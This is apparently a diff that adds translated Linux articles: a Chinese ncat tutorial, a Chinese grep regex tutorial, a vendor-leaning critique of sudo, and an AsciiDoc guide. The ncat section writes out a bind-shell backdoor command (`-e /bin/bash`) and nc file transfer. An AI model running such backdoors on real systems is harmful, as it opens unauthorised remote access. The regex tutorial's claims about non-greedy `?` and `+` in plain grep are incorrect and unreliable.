不过我们可以使用 `-u` 选项来连接到 UDP 端口， + +``` +$ ncat -l -u 1234 +``` + +现在我们的系统会开始监听 UDP 的 1234 端口，我们可以使用下面的 `netstat` 命令来验证这一点， + +``` +$ netstat -tunlp | grep 1234 +udp 0 0 0.0.0.0:1234 0.0.0.0:* 17341/nc +udp6 0 0 :::1234 :::* 17341/nc +``` + +假设我们想发送或者说测试某个远程主机 UDP 端口的连通性，我们可以使用下面命令， + +``` +$ ncat -v -u {host-ip} {udp-port} +``` + +比如： + +``` +[root@localhost ~]# ncat -v -u 192.168.105.150 53 +Ncat: Version 6.40 ( http://nmap.org/ncat ) +Ncat: Connected to 192.168.105.150:53。 +``` + +### 例子： 4) 将 `nc` 作为聊天工具 + +`nc` 也可以作为聊天工具来用，我们可以配置服务器监听某个端口，然后从远程主机上连接到服务器的这个端口，就可以开始发送消息了。 在服务器这端运行： + +``` +$ ncat -l 8080 +``` + +在远程客户端主机上运行： + +``` +$ ncat 192.168.1.100 8080 +``` + +之后开始发送消息，这些消息会在服务器终端上显示出来。 + +### 例子： 5) 将 `nc` 作为代理 + +`nc` 也可以用来做代理。比如下面这个例子， + +``` +$ ncat -l 8080 | ncat 192.168.1.200 80 +``` + +所有发往我们服务器 8080 端口的连接都会自动转发到 192.168.1.200 上的 80 端口。 不过由于我们使用了管道，数据只能被单向传输。 要同时能够接受返回的数据，我们需要创建一个双向管道。 使用下面命令可以做到这点: + +``` +$ mkfifo 2way +$ ncat -l 8080 0<2way | ncat 192.168.1.200 80 1>2way +``` + +现在你可以通过 `nc` 代理来收发数据了。 + +### 例子： 6) 使用 `nc` 拷贝文件 + +`nc` 还能用来在系统间拷贝文件，虽然这么做并不推荐，因为绝大多数系统默认都安装了 `ssh`/`scp`。 不过如果你恰好遇见个没有 `ssh`/`scp` 的系统的话， 你可以用 `nc` 来作最后的努力。 + +在要接受数据的机器上启动 `nc` 并让它进入监听模式： + +``` +$ ncat -l 8080 > file.txt +``` + +现在去要被拷贝数据的机器上运行下面命令： + +``` +$ ncat 192.168.1.100 8080 --send-only < data.txt +``` + +这里，`data.txt` 是要发送的文件。 `-–send-only` 选项会在文件拷贝完后立即关闭连接。 如果不加该选项， 我们需要手工按下 `ctrl+c` 来关闭连接。 + +我们也可以用这种方法拷贝整个磁盘分区，不过请一定要小心。 + +### 例子： 7) 通过 `nc` 创建后门 + +`nc` 命令还可以用来在系统中创建后门，并且这种技术也确实被黑客大量使用。 为了保护我们的系统，我们需要知道它是怎么做的。 创建后门的命令为： + +``` +$ ncat -l 10000 -e /bin/bash +``` + +`-e` 标志将一个 bash 与端口 10000 相连。现在客户端只要连接到服务器上的 10000 端口就能通过 bash 获取我们系统的完整访问权限： + +``` +$ ncat 192.168.1.100 10000 +``` + +### 例子： 8) 通过 `nc` 进行端口转发 + +我们通过选项 `-c` 来用 `nc` 进行端口转发，实现端口转发的语法为： + +``` +$ ncat -u -l 80 -c 'ncat -u -l 8080' +``` + +这样，所有连接到 80 端口的连接都会转发到 8080 端口。 + +### 例子： 9) 设置连接超时 + +`nc` 的监听模式会一直运行，直到手工终止。 不过我们可以通过选项 `-w` 设置超时时间: + +``` +$ ncat -w 10 192.168.1.100 8080 +``` + +这回导致连接 10 秒后终止，不过这个选项只能用于客户端而不是服务端。 + +### 例子： 10) 使用 `-k` 选项强制 `nc` 待命 + +当客户端从服务端断开连接后，过一段时间服务端也会停止监听。 但通过选项 `-k` 我们可以强制服务器保持连接并继续监听端口。 命令如下： + +``` +$ ncat -l -k 8080 +``` + +现在即使来自客户端的连接断了也依然会处于待命状态。 + +自此我们的教程就完了，如有疑问，请在下方留言。 +

regexp）基本上是定义一种搜索模式的字符串，可以被用来执行“搜索”或者“搜索并替换”操作，也可以被用来验证像密码策略等条件。 + +正则表达式是一个我们可利用的非常强大的工具，并且使用正则表达式的优点是它能在几乎所有计算机语言中被使用。所以如果你使用 Bash 脚本或者创建一个 python 程序时，我们可以使用正则表达式，或者也可以写一个单行搜索查询。 + +在这篇教程中，我们将会学习一些正则表达式的基本概念，并且学习如何在 Bash 中通过 `grep` 使用它们，但是如果你希望在其他语言如 python 或者 C 中使用它们，你只能使用正则表达式部分。那么让我们通过正则表达式的一个例子开始吧， + +正则表达式看起来像 `/t[aeiou]l/` 这个样子。 + +但这是什么意思呢？它意味着所提到的正则表达式将寻找一个词，它以 `t` 开始，在中间包含字母 `a e i o u` 中任意一个，并且字母 `l` 最为最后一个字符。它可以是 `tel`，`tal` 或者 `til`，可以匹配一个单独的词或者其它单词像 `tilt`，`brutal` 或者 `telephone` 的一部分。 + +grep 使用正则表达式的语法是 `$ grep "regex_search_term" file_location` + +如果不理解，不要担心，这只是一个例子，来展示可以利用正则表达式获取什么，相信我，这是最简单的例子。我们可以从正则表达式中获取更多。现在我们将从正则表达式基础的开始。 + +- 推荐阅读: [你应该知道的有用的 linux 命令][1] + +### 基础的正则表示式 + +现在我们开始学习一些被称为元字符MetaCharacters的特殊字符。它们可以帮助我们创建更复杂的正则表达式搜索项。下面提到的是基本元字符的列表， + +- `.` 点将匹配任意字符 +- `[ ]` 将匹配一个字符范围 +- `[^ ]` 将匹配除了括号中提到的那个之外的所有字符 +- `*` 将匹配零个或多个前面的项 +- `+` 将匹配一个或多个前面的项 +- `?` 将匹配零个或一个前面的项 +- `{n}` 将匹配 n 次前面的项 +- `{n,}` 将匹配 n 次或更多前面的项 +- `{n,m}` 将匹配在 n 和 m 次之间的项 +- `{,m}` 将匹配少于或等于 m 次的项 +- `\` 是一个转义字符，当我们需要在我们的搜索中包含一个元字符时使用 + +现在我们将用例子讨论所有这些元字符。 + +#### `.` （点） + +它用于匹配出现在我们搜索项中的任意字符。举个例子，我们可以使用点如： + +``` +$ grep "d.g" file1 +``` + +这个正则表达式意味着我们在名为 ‘file1’ 的文件中查找的词以 `d` 开始，以 `g`结尾，中间可以有 1 个字符的字符串。同样，我们可以使用任意数量的点作为我们的搜索模式，如 `T......h`，这个查询项将查找一个词，以 `T` 开始，以 `h` 结尾，并且中间可以有任意 6 个字符。 + +#### `[ ]` + +方括号用于定义字符范围。例如，我们需要搜索一些特别的单词而不是匹配任何字符， + +``` +$ grep "N[oen]n" file2 +``` + +这里，我们正寻找一个单词，以 `N`开头，以 `n` 结尾，并且中间只能有 `o`、`e` 或者 `n` 中的一个。 在方括号中我们可以提到单个到任意数量的字符。 + +我们在方括号中也可以定义像 `a-e`或者 `1-18` 作为匹配字符的列表。 + +#### `[^ ]` + +这就像正则表达式的 not 操作。当使用 `[^ ]` 时，它意味着我们的搜索将包括除了方括号内提到的所有字符。例如， + +``` +$ grep "St[^1-9]d" file3 +``` + +这意味着我们可以拥有所有这样的单词，它们以 `St` 开始，以字母 `d` 结尾，并且不得包含从 `1` 到 `9` 的任何数字。 + +到现在为止，我们只使用了仅需要在中间查找单个字符的正则表达式的例子，但是如果我们需要更多字符该怎么办呢。假设我们需要找到以一个字符开头和结尾的所有单词，并且在中间可以有任意数量的字符。这就是我们使用乘数元字符如 `+` `*` 与 `?` 的地方。 + +`{n}`、`{n,m}`、`{n,}` 或者 `{,m}` 也是可以在我们的正则表达式项中使用的其他乘数元字符。 + +#### `*` (星号) + +以下示例匹配字母 `k` 的任意出现次数，包括一次没有： + +``` +$ grep "lak*" file4 +``` + +它意味着我们可以匹配到 `lake`、`la` 或者 `lakkkk`。 + +#### `+` + +以下模式要求字符串中的字母 `k` 至少被匹配到一次： + +``` +$ grep "lak+" file5 +``` + +这里 `k` 在我们的搜索中至少需要发生一次，所以我们的结果可以为 `lake` 或者 `lakkkk`，但不能是 `la`。 + +#### `?` + +在以下模式匹配中 + +``` +$ grep "ba?b" file6 +``` + +匹配字符串 `bb` 或 `bab`，使用 `?` 乘数，我们可以有一个或零个字符的出现。 + +#### 非常重要的提示 + +当使用乘数时这是非常重要的，假设我们有一个正则表达式 + +``` +$ grep "S.*l" file7 +``` + +我们得到的结果是 `small`、`silly`，并且我们也得到了 `Shane is a little to play ball`。但是为什么我们得到了 `Shane is a little to play ball`？我们只是在搜索中寻找单词，为什么我们得到了整个句子作为我们的输出。 + +这是因为它满足我们的搜索标准，它以字母 `s` 开头，中间有任意数量的字符并以字母 `l` 结尾。那么，我们可以做些什么来纠正我们的正则表达式来只是得到单词而不是整个句子作为我们的输出。 + +我们在正则表达式中需要增加 `?` 元字符， + +``` +$ grep "S.*?l" file7 +``` + +这将会纠正我们正则表达式的行为。 + +#### `\` + +`\` 是当我们需要包含一个元字符或者对正则表达式有特殊含义的字符的时候来使用。例如，我们需要找到所有以点结尾的单词，所以我们可以使用： + +``` +$ grep "S.*\\." file8 +``` + +这将会查找和匹配所有以一个点字符结尾的词。 + +通过这篇基本正则表达式教程，我们现在有一些关于正则表达式如何工作的基本概念。在我们的下一篇教程中，我们将学习一些高级的正则表达式的概念。同时尽可能多地练习，创建正则表达式并试着尽可能多的在你的工作中加入它们。如果有任何疑问或问题，您可以在下面的评论区留言。 +

Open source software is crowd sourced, and developers from all over the world contribute to packages that are later included in Operating System distributions. In the case of ‘sudo’, a package designed to provide privileged access included in many Linux distributions, the debate is whether it meets the requirements of an organization, and to what level it can be relied upon to deliver compliance information to auditors. + +There are four hidden costs or risks that must be considered when evaluating whether sudo is meeting your organization’s cybersecurity and compliance needs on its Unix and Linux systems, including administrative, forensics and audit, business continuity, and vendor support. Although sudo is a low-cost solution, it may come at a high price in a security program, and when an organization is delivering compliance data to satisfy auditors. In this article, we will review these areas while identifying key questions that should be answered to measure acceptable levels of risk. While every organization is different, there are specific risk/cost considerations that make a strong argument for replacing sudo with a commercially-supported solution. + +### Administrative Costs + +There are several hidden administrative costs is using sudo for Unix and Linux privilege management. For example, with sudo, you also need to run a third-party automation management system (like CFEngine or Puppet) plus third party authentication modules on the box. And, if you plan to externalize the box at all, you’re going to have to replace sudo with that supplier’s version of sudo. So, you end up maintaining sudo, a third-party management system, a third-party automation system, and may have to replace it all if you want to authenticate against something external to the box. A commercial solution would help to consolidate this functionality and simplify the overall management of Unix and Linux servers. + +Another complexity with sudo is that everything is local, meaning it can be extremely time-consuming to manage as environments grow. And as we all know, time is money. With sudo, you have to rely on local systems on the server to keep logs locally, rotate them, send them to an archival environment, and ensure that no one is messing with any of the other related subsystems. This can be a complex and time-consuming process. A commercial solution would combine all of this activity together, including binary pushes and retention, upgrades, logs, archival, and more. + +Unix and Linux systems by their very nature are decentralized, so managing each host separately leads to administrative costs and inefficiencies which in turn leads to risks. A commercial solution centralizes management and policy development across all hosts, introducing enterprise level consistency and best practices to a privileged access management program. + +### Forensics & Audit Risks + +Administrative costs aside, let’s look at the risks associated with not being able to produce log data for forensic investigations. Why is this a challenge for sudo? The sudo package is installed locally on individual servers, and configuration files are maintained on each server individually. There are some tools such as Puppet or Chef that can monitor these files for changes, and replace files with known good copies when a change is detected, but those tools only work after a change takes place. These tools usually operate on a schedule, often checking once or twice per day, so if a system is compromised, or authorization files are changed, it may be several hours before the system is restored to a known good state. The question is, what can happen in those hours? + +There is currently no keystroke logging within sudo, and since any logs of sudo activity are stored locally on servers, they can be tampered with by savvy administrators. Event logs are typically collected with normal system logs, but once again, this requires additional configuration and management of these tools. When advanced users are granted administrative access on servers, it is possible that log data can be modified, or deleted, and all evidence of their activities erased with very little indication that events took place. Now, the question is, has this happened, or is it continuing to happen? + +With sudo, there is no log integrity – no chain of custody on logs – meaning logs can’t be non-repudiated and therefore can’t be used in legal proceedings in most jurisdictions. This is a significant risk to organizations, especially in criminal prosecution, termination, or other disciplinary actions. Third-party commercial solutions’ logs are tamper-proof, which is just not possible with sudo. + +Large organizations typically collect a tremendous amount of data, including system logs, access information, and other system information from all their systems. This data is then sent to a SIEM for analytics, and reporting. SIEM tools do not usually deliver real-time alerting when uncharacteristic events happen on systems, and often configuration of events is difficult and time consuming. For this reason, SIEM solutions are rarely relied upon for alerting within an enterprise environment. Here the question is, what is an acceptable delay from the time an event takes place until someone is alerted? + +Correlating log activity with other data to determine a broader pattern of abuse is also impossible with sudo. Commercial solutions gather logs into one place with searchable indices. Some commercial solutions even correlate this log data against other sources to identify uncharacteristic behavior that could be a warning that a serious security issue is afoot. Commercial solutions therefore provide greater forensic benefits than sudo. + +Another gotcha with sudo is that change management processes can’t be verified. It is always a best practice to review change records, and to validate that what was performed during the change matches the implementation that was proposed. ITIL and other security frameworks require validation of change management practices. Sudo can’t do this. Commercial solutions can do this through reviewing session command recording history and file integrity monitoring without revealing the underlying session data. + +There is no session recording with sudo. Session logs are one of the best forensic tools available for investigating what happened on servers. It’s human nature that people tend to be more cautious when they know they can be watched. Sudo doesn’t provide session recordings. + +Finally, there is no segregation of duties with sudo. Most security and compliance frameworks require true separation of duties, and using a tool such as sudo just “skins” over the segregation of duties aspect. All of these deficiencies – lack of log integrity, lack of session monitoring, no change management – introduces risk when organizations must prove compliance or investigate anomalies. + +### Business Continuity Risks + +Sudo is open source. There is no indemnification if there is a critical error. Also, there is no rollback with sudo, so there is always the chance that mistakes will bring and entire system down with no one to call for support. Sure, it is possible to centralize sudo through a third-party tool such as Puppet or CFEngine, but you still end up managing multiple files across multiple groups of systems manually (or managed as one huge policy). With this approach, there is greater risk that mistakes will break every system at once. A commercial solution would have policy roll-back capability that would limit the damage done. + +### Lack of Enterprise Support + +Since sudo is an open source package, there is no official service level for when packages must be updated to respond to identified security flaws, or vulnerabilities. By mid-2017, there have already been two vulnerabilities identified in sudo with a CVSS score greater than six (CVE Sudo Vulnerabilities). Over the past several years, there have been a number of vulnerabilities discovered in sudo that took as many as three years to patch ([CVE-2013-2776][1] , [CVE-2013-2777][2] , [CVE-2013-1776][3]). The question here is, what exploits have been used in the past several months or years? A commercial solution that replaces sudo would eliminate this problem. + +### Ten Questions to Measure Risk in Your Unix and Linux Environment + +Unix and Linux systems present high-value targets for external attackers and malicious insiders. Expect to be breached if you share accounts, provide unfettered root access, or let files and sessions go unmonitored. Gaining root or other privileged credentials makes it easy for attackers to fly under the radar and access sensitive systems and data. And as we have reviewed, sudo isn’t going to help. + +In balancing costs vs. an acceptable level of risk to your Unix and Linux environment, consider these 10 questions: + +1. How much time are Unix/Linux admins spending just trying to keep up? Can your organization benefit from automation? + +2. Are you able to keep up with the different platform and version changes to your Unix/Linux systems? + +3. As you grow and more hosts are added, how much more time will admins need to keep up with policy? Is adding personnel an option? + +4. What about consistency across systems? Modifying individual sudoers files with multiple admins makes that very difficult. Wouldn’t systems become siloed if not consistently managed? + +5. What happens when you bring in new or different Linux or Unix platforms? How will that complicate the management of the environment? + +6. How critical is it for compliance or legal purposes to know whether a policy file or log has been tampered with? + +7. Do you have a way to verify that the sudoers file hasn’t been modified without permission? + +8. How do you know what admins actually did once they became root? Do you have a command history for their activity? + +9. What would it cost the business if a mission-critical Unix/Linux host goes down? With sudo, how quickly could the team troubleshoot and fix the problem? + +10. Can you demonstrate to the board that you have a backup if there is a significant outage? + +### Benefits of Using a Commercial Solution + +Although they come at a higher cost than free open source solutions, commercial solutions provide an effective way to mitigate the general issues related to sudo. Solutions that offer centralized management ease the pressure on monitoring and maintaining remote systems, centralized logging of events, and keystroke recording are the cornerstone of audit expectations for most enterprises. + +Commercial solutions usually have a regular release cycle, and can typically deliver patches in response to vulnerabilities in hours, or days from the time they’re reported. Commercial solutions like PowerBroker for Unix & Linux by BeyondTrust provide event logging on separate infrastructure that is inaccessible to privileged users, and this eliminates the possibility of log tampering. PowerBroker also provides strong, centralized policy controls that are managed within an infrastructure separate from systems under management; this eliminates the possibility of rogue changes to privileged access policies in server environments. Strong policy control also moves security posture from ‘Respond’ to ‘Prevent’, and advanced features provide the ability to integrate with other enterprise tools, and conditionally alert when privileged access sessions begin, or end. + +### Conclusion + +For organizations that are serious about incorporating a strong privileged access management program into their security program, there is no question that a commercial product delivers much better than an open source offering such as sudo. Eliminating the possibility of malicious behavior using strong controls, centralized log file collection, and centralized policy management is far better than relying on questionable, difficult to manage controls delivered within sudo. In calculating an acceptable level of risk to your tier-1 Unix and Linux systems, all of these costs and benefits must be considered. + + +-------------------------------------------------------------------------------- + +via: http://www.linuxjournal.com/content/four-hidden-costs-and-risks-sudo-can-lead-cybersecurity-risks-and-compliance-problems-unix-a + +作者：[Chad Erbe][a] +译者：[译者ID](https://github.com/译者ID) +校对：[校对者ID](https://github.com/校对者ID) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译，[Linux中国](https://linux.cn/) 荣誉推出 + +[a]:http://www.linuxjournal.com/users/chad-erbe +[1]:https://www.cvedetails.com/cve/CVE-2013-2776/ +[2]:https://www.cvedetails.com/cve/CVE-2013-2777/ +[3]:https://www.cvedetails.com/cve/CVE-2013-1776/ diff --git a/sources/tech/20171030 Complete Guide for Using AsciiDoc in Linux.md b/sources/tech/20171030 Complete Guide for Using AsciiDoc in Linux.md new file mode 100644 index 0000000000..b321f4fb23 --- /dev/null +++ b/sources/tech/20171030 Complete Guide for Using AsciiDoc in Linux.md @@ -0,0 +1,347 @@ +Complete Guide for Using AsciiDoc in Linux +====== +**Brief: This detailed guide discusses the advantages of using AsciiDoc and shows you how to install and use AsciiDoc in Linux.** + +Over the years I used many different tools to write articles, reports or documentation. I think all started for me with Luc Barthelet's Epistole on Apple IIc from the French editor Version Soft. Then I switched to GUI tools with the excellent Microsoft Word 5 for Apple Macintosh, then the less convincing (to me) StarOffice on Sparc Solaris, that was already known as OpenOffice when I definitively switched to Linux. All these tools were really [word-processors][1]. + +But I was never really convinced by [WYSIWYG][2] editors. So I investigated many different more-or-less human-readable text formats: [troff][3], [HTML][4], [RTF][5], [TeX][6]/[LaTeX][7], [XML][8] and finally [AsciiDoc][9] which is the tool I use the most today. In fact, I am using it right now to write this article! + +If I made that history, it was because somehow the loop is closed. Epistole was a word-processor of the text-console era. As far as I remember, there were menus and you can use the mouse to select text -- but most of the formatting was done by adding non-intrusive tags into the text. Just like it is done with AsciiDoc. Of course, it was not the first software to do that. But it was the first I used! + + +![Controlling text alignment in Luc Barthelet's Epistole \(1985-Apple II\) by using commands embedded into the text][11] + +### Why AsciiDoc (or any other text file format)? + +I see two advantages in using text formats for writing: first, there is a clear separation between the content and the presentation. This argument is open to discussion since some text formats like TeX or HTML require a good discipline to adhere to that separation. And on the other hand, you can somehow achieve some level of separation by using [templates and stylesheets][12] with WYSIWYG editors. I agree with that. But I still find presentation issues intrusive with GUI tools. Whereas, when using text formats, you can focus on the content only without any font style or widow line disturbing you in your writing. But maybe it's just me? However, I can't count the number of times I stopped my writing just to fix some minor styling issue -- and having lost my inspiration when I came back to the text. If you disagree or have a different experience, don't hesitate to contradict me using the comment section below! + +Anyway, my second argument will be less subject to personal interpretation: documents based on text formats are highly interoperable. Not only you can edit them with any text editor on any platform, but you can easily manage text revisions with a tool such as [git][13] or [SVN][14], or automate text modification using common tools such as [sed][15], [AWK][16], [Perl][17] and so on. To give you a concrete example, when using a text-based format like AsciiDoc, I only need one command to produce highly personalized mailing from a master document, whereas the same job using a WYSIWYG editor would have required a clever use of "fields" and going through several wizard screens. + +### What is AsciiDoc? + +Strictly speaking, AsciiDoc is a file format. It defines syntactic constructs that will help a processor to understand the semantics of the various parts of your text. Usually in order to produce a nicely formatted output. + +Even if that definition could seem abstract, this is something simple: some keywords or characters in your document have a special meaning that will change the rendering of the document. This is the exact same concept as the tags in HTML. But a key difference with AsciiDoc is the property of the source document to remain easily human readable. + +Check [our GitHub repository][18] to compare how the same output can be produced using few common text files format: (coffee manpage idea courtesy of ) + + * `coffee.man` uses the venerable troff processor (based on the 1964 [RUNOFF][19] program). It's mostly used today to write [man pages][20]. You can try it after having downloaded the `coffee.*` files by typing `man ./coffee.man` at your command prompt. + * `coffee.tex` uses the LaTeX syntax (1985) to achieve mostly the same result but for a PDF output. LaTeX is a typesetting program especially well suited for scientific publications because of its ability to nicely format mathematical formulae and tables. You can produce the PDF from the LaTeX source using `pdflatex coffee.tex` + * `coffee.html` is using the HTML format (1991) to describe the page. You can directly open that file with your favorite web browser to see the result. + * `coffee.adoc`, finally, is using the AsciiDoc syntax (2002). You can produce both HTML and PDF from that file: + + +``` +asciidoc coffee.adoc # HTML output +a2x --format pdf ./coffee.adoc # PDF output (dblatex) +a2x --fop --format pdf ./coffee.adoc # PDF output (Apache FOP) +``` + +Now you've seen the result, open those four files using your favorite [text editor][21] (nano, vim, SublimeText, gedit, Atom, … ) and compare the sources: there are great chances you will agree the AsciiDoc sources are easier to read -- and probably to write too. + + +![Who is who? Could you guess which of these example files is written using AsciiDoc?][22] + +### How to install AsciiDoc in Linux? + +AsciiDoc is relatively complex to install because of the many dependencies. I mean complex if you want to install it from sources. For most of us, using our package manager is probably the best way: +``` +apt-get install asciidoc fop +``` + +or the following command: +``` +yum install acsiidoc fop +``` + +(fop is only required if you need the [Apache FOP][23] backend for PDF generation -- this is the PDF backend I use myself) + +More details about the installation can be found on [the official AsciiDoc website][24]. For now, all you need now is a little bit of patience, since, at least on my minimal Debian system, installing AsciiDoc require 360MB to be downloaded (mostly because of the LaTeX dependency). Which, depending on your Internet bandwidth, may give you plenty of time to read the rest of this article. + +### AsciiDoc Tutorial: How to write in AsciiDoc? + + +![AsciiDoc tutorial for Linux][25] + +I said it several times, AsciiDoc is a human-readable text file format. So, you can write your documents using the text editor of your choice. There are even dedicated text editors. But I will not talk about them here-- simply because I don't use them. But if are using one of them, don't hesitate to share your feedback using the comment section at the end of this article. + +I do not intend to create yet another AsciiDoc syntax tutorial here: there are plenty of them already available on the web. So I will only mention the very basic syntactic constructs you will use in virtually any document. From the simple "coffee" command example quoted above, you may see: + + * **titles** in AsciiDoc are identified by underlying them with `===` or `---` (depending on the title level), + * **bold** character spans are written between starts, + * and **italics** between underscores. + + + +Those are pretty common convention probably dating back to the pre-HTML email era. In addition, you may need two other common constructs, not illustrated in my previous example: **hyperlinks** and **images** inclusion, whose syntax is pretty self-explanatory. +``` +// HyperText links +link:http://dashing-kazoo.flywheelsites.com[ItsFOSS Linux Blog] + +// Inline Images +image:https://itsfoss.com/wp-content/uploads/2017/06/itsfoss-text-logo.png[ItsFOSS Text Logo] + +// Block Images +image::https://itsfoss.com/wp-content/uploads/2017/06/itsfoss-text-logo.png[ItsFOSS Text Logo] +``` + +But the AsciiDoc syntax is much richer than that. If you want more, I can point you to that nice AsciiDoc cheatsheet: + +### How to render the final output? + +I will assume here you have already written some text following the AsciiDoc format. If this is not the case, you can download [here][26] some example files copied straight out of the AsciiDoc documentation: +``` +# Download the AsciiDoc User Guide source document +BASE='https://raw.githubusercontent.com/itsfoss/asciidoc-intro/master' +wget "${BASE}"/{asciidoc.txt,customers.csv} +``` + +Since AsciiDoc is human-readable, you can send the AsciiDoc source text directly to someone by email, and the recipient will be able to read that message without further ado. But, you may want to provide some more nicely formatted output. For example as HTML for web publication (just like I've done it for this article). Or as PDF for print or display usage. + +In all cases, you need a processor. In fact, under the hood, you will need several processors. Because your AsciiDoc document will be transformed into various intermediate formats before producing the final output. Since several tools are used, the output of one being the input of the next one, we sometimes speak of a toolchain. + +Even if I explain some inner working details here, you have to understand most of that will be hidden from you. Unless maybe when you initially have to install the tools-- or if you want to fine-tune some steps of the process. + +#### In practice? + +For HTML output, you only need the `asciidoc` tool. For more complicated toolchains, I encourage you to use the `a2x` tool (part of the AsciiDoc distribution) that will trigger the necessary processors in order: +``` +# All examples are based on the AsciiDoc User Guide source document + +# HTML output +asciidoc asciidoc.txt +firefox asciidoc.html + +# XHTML output +a2x --format=xhtml asciidoc.txt + +# PDF output (LaTeX processor) +a2x --format=pdf asciidoc.txt + +# PDF output (FOP processor) +a2x --fop --format=pdf asciidoc.txt +``` + +Even if it can directly produce an HTML output, the core functionality of the `asciidoc` tool remains to transform the AsciiDoc document to the intermediate [DocBook][27] format. DocBook is a XML-based format commonly used for (but not limited to) technical documentation publishing. DocBook is a semantic format. That means it describes your document content. But not its presentation. So formatting will be the next step of the transformation. For that, whatever is the output format, the DocBook intermediate document is processed through an [XSLT][28] processor to produce either directly the output (e.g. XHTML), or another intermediate format. + +This is the case when you generate a PDF document where the DocBook document will be (at your will) converted either as a LaTeX intermediate representation or as [XSL-FO][29] (a XML-based language for page description). Finally, a dedicated tool will convert that representation to PDF. + +The extra steps for PDF generations are notably justified by the fact the toolchain has to handle pagination for the PDF output. Something this is not necessary for a "stream" format like HTML. + +#### dblatex or fop? + +Since there are two PDF backends, the usual question is "Which is the best?" Something I can't answer for you. + +Both processors have [pros and cons][30]. And ultimately, the choice will be a compromise between your needs and your tastes. So I encourage you to take the time to try both of them before choosing the backend you will use. If you follow the LaTeX path, [dblatex][31] will be the backend used to produce the PDF. Whereas it will be [Apache FOP][32] if you prefer using the XSL-FO intermediate format. So don't forget to take a look at the documentation of these tools to see how easy it will be to customize the output to your needs. Unless of course if you are satisfied with the default output! + +### How to customize the output of AsciiDoc? + +#### AsciiDoc to HTML + +Out of the box, AsciiDoc produces pretty nice documents. But sooner or later you will what to customize their appearance. + +The exact changes will depend on the backend you use. For the HTML output, most changes can be done by changing the [CSS][33] stylesheet associated with the document. + +For example, let's say I want to display all section headings in red, I could create the following `custom.css` file: +``` +h2 { + color: red; +} +``` + +And process the document using the slightly modified command: +``` +# Set the 'stylesheet' attribute to +# the absolute path to our custom CSS file +asciidoc -a stylesheet=$PWD/custom.css asciidoc.txt +``` + +You can also make changes at a finer level by attaching a role attribute to an element. This will translate into a class attribute in the generated HTML. + +For example, try to modify our test document to add the role attribute to the first paragraph of the text: +``` +[role="summary"] +AsciiDoc is a text document format .... +``` + +Then add the following rule to the `custom.css` file: +``` +.summary { + font-style: italic; +} +``` + +Re-generate the document: +``` +asciidoc -a stylesheet=$PWD/custom.css asciidoc.txt +``` + + +![AsciiDoc HTML output with custom CSS to display the first paragraph in italics and section headings in color][34] + + 1. et voila: the first paragraph is now displayed in italic. With a little bit of creativity, some patience and a couple of CSS tutorials, you should be able to customize your document at your wills. + + + +#### AsciiDoc to PDF + +Customizing the PDF output is somewhat more complex. Not from the author's perspective since the source text will remain identical. Eventually using the same role attribute as above to identify the parts that need a special treatment. + +But you can no longer use CSS to define the formatting for PDF output. For the most common settings, there are parameters you can set from the command line. Some parameters can be used both with the dblatex and the fop backends, others are specific to each backend. + +For the list of dblatex supported parameters, see + +For the list of DocBook XSL parameters, see + +Since margin adjustment is a pretty common requirement, you may also want to take a look at that: + +If the parameter names are somewhat consistent between the two backends, the command-line arguments used to pass those values to the backends differ between dblatex and fop. So, double check first your syntax if apparently, this isn't working. But to be honest, while writing this article I wasn't able to make the `body.font.family` parameter work with the dblatex backend. Since I usually use fop, maybe did I miss something? If you have more clues about that, I will be more than happy to read your suggestions in the comment section at the end of this article! + +Worth mentioning using non-standard fonts-- even with fop-require some extra work. But it's pretty well documented on the Apache website: +``` +# XSL-FO/FOP +a2x -v --format pdf \ + --fop \ + --xsltproc-opts='--stringparam page.margin.inner 10cm' \ + --xsltproc-opts='--stringparam body.font.family Helvetica' \ + --xsltproc-opts='--stringparam body.font.size 8pt' \ + asciidoc.txt + +# dblatex +# (body.font.family _should_ work, but, apparently, it isn't ?!?) +a2x -v --format pdf \ + --dblatex-opts='--param page.margin.inner=10cm' \ + --dblatex-opts='--stringparam body.font.family Helvetica' \ + asciidoc.txt +``` + +#### Fine-grained setting for PDF generation + +Global parameters are nice if you just need to adjust some pre-defined settings. But if you want to fine-tune the document (or completely change the layout) you will need some extra efforts. + +At the core of the DocBook processing there is [XSLT][28]. XSLT is a computer language, expressed in XML notation, that allows to write arbitrary transformation from an XML document to … something else. XML or not. + +For example, you will need to extend or modify the [DocBook XSL stylesheet][35] to produce the XSL-FO code for the new styles you may want. And if you use the dblatex backend, this may require modifying the corresponding DocBook-to-LaTeX XSLT stylesheet. In that latter case you may also need to use a custom LaTeX package. But I will not focus on that since dblatex is not the backend I use myself. I can only point you to the [official documentation][36] if you want to know more. But once again, if you're familiar with that, please share your tips and tricks in the comment section! + +Even while focusing only on fop, I don't really have the room here to detail the entire procedure. So, I will just show you the changes you could use to obtain a similar result as the one obtained with few CSS lines in HTML output above. That is: section titles in red and a summary paragraph in italics. + +The trick I use here is to create a new XSLT stylesheet, importing the original DocBook stylesheet, but overriding the attribute sets or template for the elements we want to change: +``` + + + + + + + + + #FF0000 + + + + + + + + + + + + + + italic + + + + + + + +``` + +Then, you have to request `a2x` to use that custom XSL stylesheet to produce the output rather than the default one using the `--xsl-file` option: +``` +a2x -v --format pdf \ + --fop \ + --xsl-file=./custom.xsl \ + asciidoc.txt +``` + +![AsciiDoc PDF output generated from Apache FOP using a custom XSLT to display the first paragraph in italics and section headings in color][37] + +With a little bit of familiarity with XSLT, the hints given here and some queries on your favorite search engine, I think you should be able to start customizing the XSL-FO output. + +But I will not lie, some apparently simple changes in the document output may require you to spend quite some times searching through the DocBook XML and XSL-FO manuals, examining the stylesheets sources and performing a couple of tests before you finally achieve what you want. + +### My opinion + +Writing documents using a text format has tremendous advantages. And if you need to publish to HTML, there is not much reason for not using AsciiDoc. The syntax is clean and neat, processing is simple and changing the presentation if needed, mostly require easy to acquire CSS skills. + +And even if you don't use the HTML output directly, HTML can be used as an interchange format with many WYSIWYG applications today. As an example, this is was I've done here: I copied the HTML output of this article into the WordPress edition area, thus conserving all formatting, without having to type anything directly into WordPress. + +If you need to publish to PDF-- the advantages remain the same for the writer. Things will be certainly harsher if you need to change the default layout in depth though. In a corporate environment, that probably means hiring a document designed skilled with XSLT to produce the set of stylesheets that will suit your branding or technical requirements-- or for someone in the team to acquire those skills. But once done it will be a pleasure to write text with AsciiDoc. And seeing those writings being automatically converted to beautiful HTML pages or PDF documents! + +Finally, if you find AsciiDoc either too simplistic or too complex, you may take a look at some other file formats with similar goals: [Markdown][38], [Textile][39], [reStructuredText][40] or 